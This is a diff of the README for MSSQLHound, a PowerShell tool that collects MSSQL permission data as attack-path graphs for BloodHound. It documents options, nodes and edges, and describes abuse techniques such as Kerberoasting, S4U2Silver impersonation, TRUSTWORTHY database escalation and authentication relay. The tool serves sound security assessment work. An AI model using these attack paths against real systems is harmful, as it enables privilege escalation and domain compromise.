• The user's actual Windows identity is passed through to the remote server | - -### Remaining Edges -Please refer to the `$script:EdgePropertyGenerators` variable in `MSSQLHound.ps1` for the following details: -- Source and target node classes (all combinations) -- Requirements -- Default fixed roles with the permission -- Traversability -- Entity panel details (dynamically-generated) - - General - - Windows Abuse - - Linux Abuse - - OPSEC - - References - - Composition Cypher (where applicable) - -All edges based on permissions may contain the `With Grant` property, which means the source not only has the permission but can grant it to other principals. - -| Edge Class
______________________________________________ | Properties
_______________________________________________________________________________________________ | -|-----------------------------------------------|------------| - -| **`CoerceAndRelayToMSSQL`** | • No unique edge properties | - -| **`MSSQL_AddMember`** | • No unique edge properties | - -| **`MSSQL_Alter`** | • No unique edge properties | - -| **`MSSQL_AlterAnyAppRole`** | • No unique edge properties | - -| **`MSSQL_AlterAnyDBRole`** | • No unique edge properties | - -| **`MSSQL_AlterAnyLogin`** | • No unique edge properties | - -| **`MSSQL_AlterAnyServerRole`** | • No unique edge properties | - -| **`MSSQL_ChangeOwner`** | • No unique edge properties | - -| **`MSSQL_ChangePassword`** | • No unique edge properties | - -| **`MSSQL_Connect`** | • No unique edge properties | - -| **`MSSQL_ConnectAnyDatabase`** | • No unique edge properties | - -| **`MSSQL_Contains`** | • No unique edge properties | - -| **`MSSQL_Control`** | • No unique edge properties | - -| **`MSSQL_ControlDB`** | • No unique edge properties | - -| **`MSSQL_ControlServer`** | • No unique edge properties | - -| **`MSSQL_ExecuteAs`** | • No unique edge properties | - -| **`MSSQL_ExecuteOnHost`** | • No unique edge properties | - -| **`MSSQL_GetTGS`** | • No unique edge properties | - -| **`MSSQL_GrantAnyDBPermission`** | • No unique edge properties | - -| **`MSSQL_GrantAnyPermission`** | • No unique edge properties | - -| **`MSSQL_HasLogin`** | • No unique edge properties | - -| **`MSSQL_HostFor`** | • No unique edge properties | - -| **`MSSQL_Impersonate`** | • No unique edge properties | - -| **`MSSQL_ImpersonateAnyLogin`** | • No unique edge properties | - -| **`MSSQL_IsMappedTo`** | • No unique edge properties | - -| **`MSSQL_IsTrustedBy`** | • No unique edge properties | - -| **`MSSQL_LinkedTo`** | • Edge properties are the same as `MSSQL_LinkedAsAdmin` | - -| **`MSSQL_MemberOf`** | • No unique edge properties | - -| **`MSSQL_Owns`** | • No unique edge properties | - -| **`MSSQL_ServiceAccountFor`** | • No unique edge properties | - -| **`MSSQL_TakeOwnership`** | • No unique edge properties | +# MSSQLHound +image + +A PowerShell collector for adding MSSQL attack paths to [BloodHound](https://github.com/SpecterOps/BloodHound) with [OpenGraph](https://specterops.io/opengraph) by Chris Thompson at [SpecterOps](https://x.com/SpecterOps) + +Introductory blog posts: +- https://specterops.io/blog/2025/08/04/adding-mssql-to-bloodhound-with-opengraph/ +- https://specterops.io/blog/2026/01/20/updates-to-the-mssqlhound-opengraph-collector-for-bloodhound/ + +Please hit me up on the [BloodHound Slack](http://ghst.ly/BHSlack) (@Mayyhem), Twitter ([@_Mayyhem](https://x.com/_Mayyhem)), or open an issue if you have any questions I can help with! + +# Table of Contents + +- [Overview](#overview) + - [System Requirements](#system-requirements) + - [Minimum Permissions](#minimum-permissions) + - [Recommended Permissions](#recommended-permissions) + - [Usage Info](#usage-info) +- [Command Line Options](#command-line-options) +- [Limitations](#limitations) +- [Future Development](#future-development) +- [MSSQL Graph Model](#mssql-graph-model) +- [MSSQL Nodes Reference](#mssql-nodes-reference) + - [Server Level](#server-level) + - [`MSSQL_Server`](#server-instance-mssql_server-node) + - [`MSSQL_Login`](#server-login-mssql_login-node) + - [`MSSQL_ServerRole`](#server-role-mssql_serverrole-node) + - [Database Level](#database-level) + - [`MSSQL_Database`](#database-mssql_database-node) + - [`MSSQL_DatabaseUser`](#database-user-mssql_databaseuser-node) + - [`MSSQL_DatabaseRole`](#database-role-mssql_databaserole-node) + - [`MSSQL_ApplicationRole`](#application-role-mssql_applicationrole-node) +- [MSSQL Edges Reference](#mssql-edges-reference) + - [Edge Classes and Properties](#edge-classes-and-properties) + - [`CoerceAndRelayToMSSQL`](#coerceandrelaytomssql) + - [`MSSQL_AddMember`](#mssql_addmember) + - [`MSSQL_Alter`](#mssql_alter) + - [`MSSQL_AlterAnyAppRole`](#mssql_alteranyapprole) + - [`MSSQL_AlterAnyDBRole`](#mssql_alteranydbrole) + - [`MSSQL_AlterAnyLogin`](#mssql_alteranylogin) + - [`MSSQL_AlterAnyServerRole`](#mssql_alteranyserverrole) + - [`MSSQL_ChangeOwner`](#mssql_changeowner) + - [`MSSQL_ChangePassword`](#mssql_changepassword) + - [`MSSQL_Connect`](#mssql_connect) + - [`MSSQL_ConnectAnyDatabase`](#mssql_connectanydatabase) + - [`MSSQL_Contains`](#mssql_contains) + - [`MSSQL_Control`](#mssql_control) + - [`MSSQL_ControlDB`](#mssql_controldb) + - [`MSSQL_ControlServer`](#mssql_controlserver) + - [`MSSQL_ExecuteAs`](#mssql_executeas) + - [`MSSQL_ExecuteAsOwner`](#mssql_executeasowner) + - [`MSSQL_ExecuteOnHost`](#mssql_executeonhost) + - [`MSSQL_GetAdminTGS`](#mssql_getadmintgs) + - [`MSSQL_GetTGS`](#mssql_gettgs) + - [`MSSQL_GrantAnyDBPermission`](#mssql_grantanydbpermission) + - [`MSSQL_GrantAnyPermission`](#mssql_grantanypermission) + - [`MSSQL_HasDBScopedCred`](#mssql_hasdbscopedcred) + - [`MSSQL_HasLogin`](#mssql_haslogin) + - [`MSSQL_HasMappedCred`](#mssql_hasmappedcred) + - [`MSSQL_HasProxyCred`](#mssql_hasproxycred) + - [`MSSQL_HostFor`](#mssql_hostfor) + - [`MSSQL_Impersonate`](#mssql_impersonate) + - [`MSSQL_ImpersonateAnyLogin`](#mssql_impersonateanylogin) + - [`MSSQL_IsMappedTo`](#mssql_ismappedto) + - [`MSSQL_IsTrustedBy`](#mssql_istrustedby) + - [`MSSQL_LinkedAsAdmin`](#mssql_linkedasadmin) + - [`MSSQL_LinkedTo`](#mssql_linkedto) + - [`MSSQL_MemberOf`](#mssql_memberof) + - [`MSSQL_Owns`](#mssql_owns) + - [`MSSQL_ServiceAccountFor`](#mssql_serviceaccountfor) + - [`MSSQL_TakeOwnership`](#mssql_takeownership) + +# Overview +Collects BloodHound OpenGraph compatible data from one or more MSSQL servers into individual temporary files, then zips them in the current directory + - Example: `mssql-bloodhound-20250724-115610.zip` + +## System Requirements: + - PowerShell 4.0 or higher + - Target is running SQL Server 2005 or higher + - BloodHound v8.0.0+ with Postgres backend (to use prebuilt Cypher queries): https://bloodhound.specterops.io/get-started/custom-installation#postgresql + +## Minimum Permissions: +### Windows Level: + - Active Directory domain context with line of sight to a domain controller +### MSSQL Server Level: + - **`CONNECT SQL`** (default for new logins) + - **`VIEW ANY DATABASE`** (default for new logins) + +## Recommended Permissions: +### MSSQL Server Level: + - **`VIEW ANY DEFINITION`** permission or `##MS_DefinitionReader##` role membership (available in versions 2022+) + - Needed to read server principals and their permissions + - Without one of these permissions, there will be false negatives (invisible server principals) + - **`VIEW SERVER PERFORMANCE STATE`** permission or `##MSS_ServerPerformanceStateReader##` role membership (available in versions 2022+) or local `Administrators` group privileges on the target (fallback for WMI collection) + - Only used for service account collection + +### MSSQL Database Level: + - **`CONNECT ANY DATABASE`** server permission (available in versions 2014+) or `##MS_DatabaseConnector##` role membership (available in versions 2022+) or login maps to a database user with `CONNECT` on individual databases + - Needed to read database principals and their permissions + - Login maps to **`msdb`** database user with **`db_datareader`** role or with `SELECT` permission on: + - `msdb.dbo.sysproxies` + - `msdb.dbo.sysproxylogin` + - `msdb.dbo.sysproxysubsystem` + - `msdb.dbo.syssubsystems` + - Only used for proxy account collection + +# Usage Info +Run MSSQLHound from a box where you aren’t highly concerned about resource consumption. While there are guardrails in place to stop the script if resource consumption is too high, it’s probably a good idea to be careful and run it on a workstation instead of directly on a critical database server, just in case. + +If you don't already have a specific target or targets in mind, start by running the script with the `-DomainEnumOnly` flag set to see just how many servers you’re dealing with in Active Directory. Then, use the `-ServerInstance` option to run it again for a single server or add all of the servers that look interesting to a file and run it again with the `-ServerListFile` option. + +If you don't do a dry run first and collect from all SQL servers with SPNs in the domain (the default action), expect the script to take a very long time to finish and eat up a ton of disk space if there ar a lot of servers in the environment. Based on limited testing in client environments, the file size for each server before they are all zipped ranges significantly from 2MB to 50MB+, depending on how many objects are on the server. + +To populate the MSSQL node glyphs in BloodHound, execute `MSSQLHound.ps1 -OutputFormat BloodHound-customnodes` (or copy the following) and use the API Explorer page to submit the JSON to the `custom-nodes` endpoint. + +``` +{ + "custom_types": { + "MSSQL_DatabaseUser": { + "icon": { + "name": "user", + "color": "#f5ef42", + "type": "font-awesome" + } + }, + "MSSQL_Login": { + "icon": { + "name": "user-gear", + "color": "#dd42f5", + "type": "font-awesome" + } + }, + "MSSQL_DatabaseRole": { + "icon": { + "name": "users", + "color": "#f5a142", + "type": "font-awesome" + } + }, + "MSSQL_Database": { + "icon": { + "name": "database", + "color": "#f54242", + "type": "font-awesome" + } + }, + "MSSQL_ApplicationRole": { + "icon": { + "name": "robot", + "color": "#6ff542", + "type": "font-awesome" + } + }, + "MSSQL_Server": { + "icon": { + "name": "server", + "color": "#42b9f5", + "type": "font-awesome" + } + }, + "MSSQL_ServerRole": { + "icon": { + "name": "users-gear", + "color": "#6942f5", + "type": "font-awesome" + } + } + } +} +``` + +There are several new edges that have to be non-traversable because they are not abusable 100% of the time, including when: +- the stored AD credentials might be stale/invalid, but maybe they are! + - MSSQL_HasMappedCred + - MSSQL_HasDBScopedCred + - MSSQL_HasProxyCred +- the server principal that owns the database does not have complete control of the server, but maybe it has other interesting permissions + - MSSQL_IsTrustedBy +- the server is linked to another server using a principal that does not have complete control of the remote server, but maybe it has other interesting permissions + - MSSQL_LinkedTo +- the service account can be used to impersonate domain users that have a login to the server, but we don’t have the necessary permissions to check that any domain users have logins + - MSSQL_ServiceAccountFor + - It would be unusual, but not impossible, for the MSSQL Server instance to run in the context of a domain service account and have no logins for domain users. If you can infer that certain domain users have access to a particular MSSQL Server instance or discover that information through other means (e.g., naming conventions, OSINT, organizational documentation, internal communications, etc.), you can request service tickets for those users to the MSSQL Server if you have control of the service account (e.g., by cracking weak passwords for Kerberoastable service principals). + +Want to be a bit more aggressive with your pathfinding queries? You can make these edges traversable using the `-MakeInterestingEdgesTraversable` flag. + +I also recommend conducting a collection with the `-IncludeNontraversableEdges` flag enabled at some point if you need to understand what permissions on which objects allow the traversable edges to be created. By default, non-traversable edges are skipped to make querying the data for valid attack paths easier. This is still a work in progress, but look out for the “Composition” item in the edge entity panel for each traversable edges to grab a pastable cypher query to identify the offending permissions. + +If the [prebuilt Cypher queries](saved_queries) are returning `failed to translate kinds: unable to map kinds:` errors, upload [seed_data.json](seed_data.json) to populate a single fake instance of each new edge class so they can be queried. + +# Command Line Options +For the latest and most reliable information, please execute MSSQLHound with the `-Help` flag. + +| Option
______________________________________________ | Values
_______________________________________________________________________________________________ | +|--------|--------| +| **-Help** `` | • Display usage information | +| **-OutputFormat** `` | • **BloodHound**: OpenGraph implementation that collects data in separate files for each MSSQL server, then zips them up and deletes the originals. The zip can be uploaded to BloodHound by navigating to `Administration` > `File Ingest`
• **BloodHound-customnodes**: Generate JSON to POST to `custom-nodes` API endpoint
• **BloodHound-customnode**: Generate JSON for DELETE on `custom-nodes` API endpoint
• **BHGeneric**: Work in progress to make script compatible with [BHOperator](https://github.com/SadProcessor/BloodHoundOperator) | +| **-ServerInstance** `` | • A specific MSSQL instance to collect from:
    • **Null**: Query the domain for SPNs and collect from each server found
    • **Name/FQDN**: ``
    • **Instance**: `[:\|:]`
    • **SPN**: `/[:\|:]` | +| **-ServerListFile** `` | • Specify the path to a file containing multiple server instances to collect from in the ServerInstance formats above | +| **-ServerList** `` | • Specify a comma-separated list of server instances to collect from in the ServerInstance formats above | +| **-TempDir** `` | • Specify the path to a temporary directory where .json files will be stored before being zipped
Default: new directory created with `[System.IO.Path]::GetTempPath()` | +| **-ZipDir** `` | • Specify the path to a directory where the final .zip file will be stored
• Default: current directory | +| **-MemoryThresholdPercent** `` | • Maximum memory allocation limit, after which the script will exit to prevent availability issues
• Default: `90` | +| **-Credential** `` | • Specify a PSCredential object to connect to the remote server(s) | +| **-UserID** `` | • Specify a **login** to connect to the remote server(s) | +| **-SecureString** `` | • Specify a SecureString object for the login used to connect to the remote server(s) | +| **-Password** `` | • Specify a **password** for the login used to connect to the remote server(s) | +| **-Domain** `` | • Specify a **domain** to use for name and SID resolution | +| **-DomainController** `` | • Specify a **domain controller** FQDN/IP to use for name and SID resolution | +| **-IncludeNontraversableEdges** (switch) | • **On**: • Collect both **traversable and non-traversable edges**
• **Off (default)**: Collect **only traversable edges** (good for offensive engagements until Pathfinding supports OpenGraph edges) | +| **-MakeInterestingEdgesTraversable** (switch) | • **On**: Make the following edges traversable (useful for offensive engagements but prone to false positive edges that may not be abusable):
    • **MSSQL_HasDBScopedCred**
    • **MSSQL_HasMappedCred**
    • **MSSQL_HasProxyCred**
    • **MSSQL_IsTrustedBy**
    • **MSSQL_LinkedTo**
    • **MSSQL_ServiceAccountFor**
• **Off (default)**: The edges above are non-traversable | +| **-SkipLinkedServerEnum** (switch) | • **On**: Don't enumerate linked servers
• **Off (default)**: Enumerate linked servers | +| **-CollectFromLinkedServers** (switch) | • **On**: If linked servers are found, try and perform a full MSSQL collection against each server
• **Off (default)**: If linked servers are found, **don't** try and perform a full MSSQL collection against each server | +| **-DomainEnumOnly** (switch) | • **On**: If SPNs are found, **don't** try and perform a full MSSQL collection against each server
• **Off (default)**: If SPNs are found, try and perform a full MSSQL collection against each server | +| **-InstallADModule** (switch) | • **On**: Try to install the ActiveDirectory module for PowerShell if it is not already installed
• **Off (default)**: Do not try to install the ActiveDirectory module for PowerShell if it is not already installed. Rely on DirectoryServices, ADSISearcher, DirectorySearcher, and NTAccount.Translate() for object resolution. | +| **-LinkedServerTimeout** `` | • Give up enumerating linked servers after `X` seconds
• Default: `300` seconds (5 minutes) | +| **-FileSizeLimit** `` | • Stop enumeration after all collected files exceed this size on disk
• Supports MB, GB
• Default: `1GB` | +| **-FileSizeUpdateInterval** `` | • Receive periodic size updates as files are being written for each server
• Default: `5` seconds | +| **-Version** `` | • Display version information and exit | + +# Limitations +- MSSQLHound can’t currently collect nodes and edges from linked servers over the link, although I’d like to add more linked server collection functionality in the future. +- MSSQLHound doesn’t check DENY permissions. Because permissions are denied by default unless explicitly granted, it is assumed that use of DENY permissions is rare. One exception is the CONNECT SQL permission, for which the DENY permission is checked to see if the principal can remotely log in to the MSSQL instance at all. +- MSSQLHound stops enumerating at the database level. It could be modified to go deeper (to the table/stored procedure or even column level), but that would degrade performance, especially when merging with the AD graph. +- EPA enumeration without a login or Remote Registry access is not yet supported (but will be soon) +- Separate collections in domains that can’t reach each other for principal SID resolution may not merge correctly when they are ingested (i.e., more than one MSSQL_Server node may represent the same server, one labelled with the SID, one with the name). + +# Future Development: +- Unprivileged EPA collection (in the works) +- Option to zip after every server (to save disk space) +- Collection from linked servers +- Collect across domains and trusts +- Azure extension for SQL Server +- AZUser/Groups for server logins / database users +- Cross database ownership chaining +- DENY permissions +- EXECUTE permission on xp_cmdshell +- UNSAFE/EXTERNAL_ACCESS permission on assembly (impacted by TRUSTWORTHY) +- Add this to CoerceAndRelayToMSSQL: + - Domain principal has CONNECT SQL (and EXECUTE on xp_dirtree or other stored procedures that will authenticate to a remote host) + - Service account/Computer has a server login that is enabled on another SQL instance + - EPA is not required on remote SQL instance + +# MSSQL Graph Model +MSSQL Red Green (1) + +# MSSQL Nodes Reference +## Server Level +### Server Instance (`MSSQL_Server` node) +image
+The entire installation of the MSSQL Server database management system (DBMS) that contains multiple databases and server-level objects + +| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | +|----------|------------| +| **Label**: string | • Format: `[:\|:]`
• Examples:
    • `SQL.MAYYHEM.COM` (default port and instance name)
    • `SQL.MAYYHEM.COM:SQL2012` (named instance) | +| **Object ID**: string | • Format: `:`
• Example: `S-1-5-21-843997178-3776366836-1907643539-1108:1433`
• Port or instance name should be a part of the identifier in case there are multiple MSSQL Server instances on the same host.
• Two or more accounts are permitted to have identical SPNs in Active Directory (https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setspn), and two or more names may resolve to the same host (e.g., `MSSQLSvc/ps1-db:1433` and `MSSQLSvc/ps1-db.mayyhem.com:1433`) so we will use the domain SID instead of the host portion of the SPN, when available.
• MSSQLSvc SPNs may contain an instance name instead of the port, in which case the SQL Browser service (`UDP/1434`) is used to determine the listening port for the MSSQL server. In other cases the port is dynamically chosen and the SPN updated when the service [re]starts. The `ObjectIdentifier` must be capable of storing either value in case there is an instance name in the SPN and the SQL Browser service is not reachable, and prefer instance over port.
• The script currently falls back to using the FQDN instead of the SID if the server can't be resolved to a domain object (for example, if it is resolved via DNS or reachable via the MSSQL port but can't be resolved to a principal in another domain).
    • This format complicates things when trying to merge objects from collections taken from different domains, with different privileges, or when servers are discovered via SQL links. For example, when collecting from `hostA.domain1.local`, a link to `hostB.domain2.local:1433` is discovered. The collector can't resolve principals in `domain2`, so its `ObjectIdentifier` is the `hostname:port` instead. However, `hostB.domain2.local` is reachable on port `1433` and after connecting, the collector determines that its instance name is `SQLHOSTB`. Later, a collection is done on `HostB` from within `domain2`, so its `ObjectIdentifier` is either `sid:port` or `sid:instanceName`, depending on what's in the SPNs.| +| **Databases**: List\ | • Names of databases contained in the SQL Server instance | +| **Extended Protection**: string
(`Off` \| `Allowed` \| `Required` \| `Allowed/Required`) |• Allowed and required both prevent authentication relay to MSSQL (using service binding if Force Encryption is `No`, using channel binding if Force Encryption is `Yes`). | +| **Force Encryption**: string
(`No` \| `Yes`) | • Does the server require clients to encrypt communications? | +| **Has Links From Servers**: List\ | • SQL Server instances that have a link to this SQL Server instance
• There is no way to view this using SSMS or other native tools on the target of a link. | +| **Instance Name**: string | • SQL Server instances are identified using either a port or an instance name.
• Default: `MSSQLSERVER` | +| **Is Any Domain Principal Sysadmin**: bool | • If a domain principal is a member of the sysadmin server role or has equivalent permissions (`securityadmin`, `CONTROL SERVER`, or `IMPERSONATE ANY LOGIN`), the domain service account running MSSQL can impersonate such a principal to gain control of the server via S4U2Silver. See the `MSSQL_GetAdminTGS` edge for more information. | +| **Is Linked Server Target**: bool | • Does any SQL Server instance have a link to this SQL Server instance?
• There is no way to view this using SSMS or other native tools on the target of a link. | +| **Is Mixed Mode Auth Enabled**: bool | • **True**: both Windows and SQL logins are permitted to access the server remotely
• **False**: only Windows logins are permitted to access the server remotely | +| **Linked To Servers**: List\ | • SQL Server instances that this SQL Server instance is linked to | +| **Port**: uint |• SQL Server instances are identified using either a port or an instance name.
• Default: `1433` | +| **Service Account**: string | • The Windows account running the SQL Server instance | +| **Service Principal Names**: List\ | • SPNs associated with this SQL Server instance | +| **Version**: string | • Result of `SELECT @@VERSION` + +### Server Login (`MSSQL_Login` node) +image
+A type of server principal that can be assigned permissions to access server-level objects, such as the ability to connect to the instance or modify server role membership. These principals can be local to the instance (SQL logins) or mapped to a domain user, computer, or group (Windows logins). Server logins can be added as members of server roles to inherit the permissions assigned to the role. + +| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | +|----------|------------| +| **Label**: string | • Format: ``
• Example: `MAYYHEM\sqladmin` | +| **Object ID**: string | • Format: `@`
• Example: `MAYYHEM\sqladmin@S-1-5-21-843997178-3776366836-1907643539-1108:1433` | +| **Active Directory Principal**: string | • Name of the AD principal this login is mapped to | +| **Active Directory SID**: string | • SID of the AD principal this login is mapped to | +| **Create Date**: datetime | • When the login was created | +| **Database Users**: List\ | • Names of each database user this login is mapped to | +| **Default Database**: string | • The default database used when the login connects to the server | +| **Disabled**: bool | • Is the account disabled? | +| **Explicit Permissions**: List\ | • Server level permissions assigned directly to this login
• Does not include all effective permissions such as those granted through role membership | +| **Is Active Directory Principal**: bool | • If a domain principal has a login, the domain service account running MSSQL can impersonate such a principal to gain control of the login via S4U2Silver. | +| **Member of Roles**: List\ | • Names of roles this principal is a direct member of
• Does not include nested memberships | +| **Modify Date**: datetime | • When the principal was last modified | +| **Principal Id**: uint | • The identifier the SQL Server instance uses to associate permissions and other objects with this principal | +| **SQL Server**: string | • Name of the SQL Server where this object is a principal | +| **Type**: string | • **ASYMMETRIC_KEY_MAPPED_LOGIN**: Used to sign modules within the database, such as stored procedures, functions, triggers, or assemblies and can't be used to connect to the server remotely. I haven't messed with these much but they can be assigned permissions and impersonated.
• **CERTIFICATE_MAPPED_LOGIN**: Used to sign modules within the database, such as stored procedures, functions, triggers, or assemblies and can't be used to connect to the server remotely. I haven't messed with these much but they can be assigned permissions and impersonated.
• **SQL_LOGIN**: This login is local to the SQL Server instance and mixed-mode authentication must be enabled to connect with it
• **WINDOWS_LOGIN**: A Windows account is mapped to this login
• **WINDOWS_GROUP**: A Windows group is mapped to this login | + +### Server Role (`MSSQL_ServerRole` node) +image
+A type of server principal that can be assigned permissions to access server-level objects, such as the ability to connect to the instance or modify server role membership. Server logins and user-defined server roles can be added as members of server roles, inheriting the role's permissions. + +| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | +|----------|------------| +| **Label**: string | • Format: ``
• Example: `processadmin` | +| **Object ID**: string | • Format: `@`
• Example: `processadmin@S-1-5-21-843997178-3776366836-1907643539-1108:1433` | +| **Create Date**: datetime | • When the role was created | +| **Explicit Permissions**: List\ | • Server level permissions assigned directly to this login
• Does not include all effective permissions such as those granted through role membership | +| **Is Fixed Role**: bool | • Whether or not the role is built-in (i.e., ships with MSSQL and can't be removed) | +| **Member of Roles**: List\ | • Names of roles this principal is a direct member of
• Does not include nested memberships | +| **Members**: List\ | • Names of each principal that is a direct member of this role | +| **Modify Date**: datetime | • When the principal was last modified | +| **Principal Id**: uint | • The identifier the SQL Server instance uses to associate permissions and other objects with this principal | +| **SQL Server**: string | • Name of the SQL Server where this object is a principal | + +## Database Level + +### Database (`MSSQL_Database` node) +image
+A collection of database principals (e.g., users and roles) as well as object groups called schemas, each of which contains securable database objects such as tables, views, and stored procedures. + +| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | +|----------|------------| +| **Label**: string | • Format: ``
• Example: `master` | +| **Object ID**: string | • Format: `\`
• Example: `S-1-5-21-843997178-3776366836-1907643539-1108:1433\master` | +| **Is Trustworthy**: bool | • Is the `Trustworthy` property of this database set to `True`?
• When `Trustworthy` is `True`, principals with control of the database are permitted to execute server level actions in the context of the database's owner, allowing server compromise if the owner has administrative privileges.
• Example: If `sa` owns the `CM_PS1` database and the database's `Trustworthy` property is `True`, then a user in the database with sufficient privileges could create a stored procedure with the `EXECUTE AS OWNER` statement and leverage the `sa` account's permissions to execute SQL statements on the server. See the `MSSQL_ExecuteAsOwner` edge for more information. | +| **Owner Login Name**: string | • Example: `MAYYHEM\cthompson` | +| **Owner Principal ID**: uint | • The identifier the SQL Server instance uses to associate permissions and other objects with this principal | +| **SQL Server**: string | • Name of the SQL Server where this object is a principal | + +### Database User (`MSSQL_DatabaseUser` node) +image
+A user that has access to the specific database it is contained in. Users may be mapped to a login or may be created without a login. Users can be assigned permissions to access database-level objects, such as the ability to connect to the database, access tables, modify database role membership, or execute stored procedures. Users and user-defined database roles can be added as members of database roles, inheriting the role's permissions. + +| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | +|----------|------------| +| **Label**: string | • Format: `@`
• Example: `MAYYHEM\LOWPRIV@CM_CAS` | +| **Object ID**: string | • Format: `@`
• `Example: MAYYHEM\LOWPRIV@S-1-5-21-843997178-3776366836-1907643539-1117:1433\CM_CAS` | +| **Create Date**: datetime | • When the user was created | +| **Database**: string | • Name of the database where this user is a principal | +| **Default Schema**: string | • The default schema used when the user connects to the database | +| **Explicit Permissions**: List\ | • Database level permissions assigned directly to this principal
• Does not include all effective permissions such as those granted through role membership | +| **Member of Roles**: List\ | • Names of roles this principal is a direct member of
• Does not include nested memberships | +| **Modify Date**: datetime | • When the principal was last modified | +| **Principal Id**: uint | • The identifier the SQL Server instance uses to associate permissions and other objects with this principal | +| **Server Login**: string | • Name of the login this user is mapped to | +| **SQL Server**: string | • Name of the SQL Server where this object is a principal | +| **Type**: string | • **ASYMMETRIC_KEY_MAPPED_USER**: Used to sign modules within the database, such as stored procedures, functions, triggers, or assemblies and can't be used to connect to the server remotely. I haven't messed with these much but they can be assigned permissions and impersonated.
• **CERTIFICATE_MAPPED_USER**: Used to sign modules within the database, such as stored procedures, functions, triggers, or assemblies and can't be used to connect to the server remotely. I haven't messed with these much but they can be assigned permissions and impersonated.
• **SQL_USER**: This user is local to the SQL Server instance and mixed-mode authentication must be enabled to connect with it
• **WINDOWS_USER**: A Windows account is mapped to this user
• **WINDOWS_GROUP**: A Windows group is mapped to this user | + +### Database Role (`MSSQL_DatabaseRole` node) +image
+A type of database principal that can be assigned permissions to access database-level objects, such as the ability to connect to the database, access tables, modify database role membership, or execute stored procedures. Database users, user-defined database roles, and application roles can be added as members of database roles, inheriting the role's permissions. + +| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | +|----------|------------| +| **Label**: string | • Format: `@`
• Example: `db_owner@CM_CAS` | +| **Object ID**: string | • Format: `@`
• Example: `db_owner@S-1-5-21-843997178-3776366836-1907643539-1117:1433\CM_CAS` | +| **Create Date**: datetime | • When the role was created | +| **Database**: string | • Name of the database where this role is a principal | +| **Explicit Permissions**: List\ | • Database level permissions assigned directly to this principal
• Does not include all effective permissions such as those granted through role membership | +| **Member of Roles**: List\ | • Names of roles this principal is a direct member of
• Does not include nested memberships | +| **Members**: List\ | • Names of each principal that is a direct member of this role | +| **Modify Date**: datetime | • When the principal was last modified | +| **Principal Id**: uint | • The identifier the SQL Server instance uses to associate permissions and other objects with this principal | +| **SQL Server**: string | • Name of the SQL Server where this object is a principal | + +### Application Role (`MSSQL_ApplicationRole` node) +image
+A type of database principal that is not associated with a user but instead is activated by an application using a password so it can interact with the database using the role's permissions. + +| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | +|----------|------------| +| **Label**: string | • Format: `@`
• Example: `TESTAPPROLE@TESTDATABASE` | +| **Object ID**: string | • Format: `@`
• Example: `TESTAPPROLE@S-1-5-21-843997178-3776366836-1907643539-1108:1433\TESTDATABASE` | +| **Create Date**: datetime | • When the principal was created | +| **Database**: string | • Name of the database where this object is a principal | +| **Default Schema**: string | • The default schema used when the principal connects to the database | +| **Explicit Permissions**: List\ | • Database level permissions assigned directly to this principal
• Does not include all effective permissions such as those granted through role membership | +| **Member of Roles**: List\ | • Names of roles this principal is a direct member of
• Does not include nested memberships | +| **Modify Date**: datetime | • When the principal was last modified | +| **Principal Id**: uint | • The identifier the SQL Server instance uses to associate permissions and other objects with this principal | +| **SQL Server**: string | • Name of the SQL Server where this object is a principal | + + +# MSSQL Edges Reference +This section includes explanations for edges that have their own unique properties. Please refer to the `$script:EdgePropertyGenerators` variable in `MSSQLHound.ps1` for the following details: +- Source and target node classes (all combinations) +- Requirements +- Default fixed roles with the permission +- Traversability +- Entity panel details (dynamically-generated) + - General + - Windows Abuse + - Linux Abuse + - OPSEC + - References + - Composition Cypher (where applicable) + +## Edge Classes and Properties + +### `MSSQL_ExecuteAsOwner` +| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | +|-----------------------------------------------|------------| +| **Database**: string | • Name of the target database where the source can execute SQL statements as the server-level owning principal | +| **Database Is Trustworthy**: bool | • **True**: Database principals that can execute `EXECUTE AS OWNER` statements can execute actions in the context of the server principal that owns the database
• **False**: The database isn't allowed to access resources beyond the scope of the database | +| **Owner Has Control Server**: bool | • **True**: The server principal that owns the database has the `CONTROL SERVER` permission, allowing complete control of the MSSQL server instance. | +| **Owner Has Impersonate Any Login**: bool | • **True**: The server principal that owns the database has the `IMPERSONATE ANY LOGIN` permission, allowing complete control of the MSSQL server instance. | +| **Owner Has Securityadmin**: bool | • **True**: The server principal that owns the database is a member of the `securityadmin` server role, allowing complete control of the MSSQL server instance. | +| **Owner Has Sysadmin**: bool | • **True**: The server principal that owns the database is a member of the `sysadmin` server role, allowing complete control of the MSSQL server instance. | +| **Owner Login Name**: string | • The name of the server login that owns the database
• Example: `MAYYHEM\cthompson` | +| **Owner Object Identifier**: string | • The object identifier of the server login that owns the database | +| **Owner Principal ID**: uint | • The identifier the SQL Server instance uses to associate permissions and other objects with this principal | +| **SQL Server**: string | • Name of the SQL Server where this object is a principal | + +### `MSSQL_GetAdminTGS` +| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | +|-----------------------------------------------|------------| +| **Domain Principals with ControlServer**: List | • Domain principals with logins that have the `CONTROL SERVER` effective permission, allowing complete control of the MSSQL server instance. | +| **Domain Principals with ImpersonateAnyLogin**: List | • Domain principals with logins that have the `IMPERSONATE ANY LOGIN` effective permission, allowing complete control of the MSSQL server instance. | +| **Domain Principals with Securityadmin**: List | • Domain principals with membership in the `securityadmin` server role, allowing complete control of the MSSQL server instance. | +| **Domain Principals with Sysadmin**: List | • Domain principals with membership in the `sysadmin` server role, allowing complete control of the MSSQL server instance. | + +### `MSSQL_HasDBScopedCred` +| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | +|-----------------------------------------------|------------| +| **Credential ID**: string | • The identifier the SQL Server instance uses to associate other objects with this principal | +| **Credential Identity**: string | • The domain principal this credential uses to authenticate to resources | +| **Credential Name**: string | • The name used to identify this credential in the SQL Server instance | +| **Create Date**: datetime | • When the credential was created | +| **Database**: string | • Name of the database where this object is a credential | +| **Modify Date**: datetime | • When the credential was last modified | +| **Resolved SID**: string | • The domain SID for the credential identity | + +### `MSSQL_HasMappedCred` +| Property
______________________________________________ | Definition
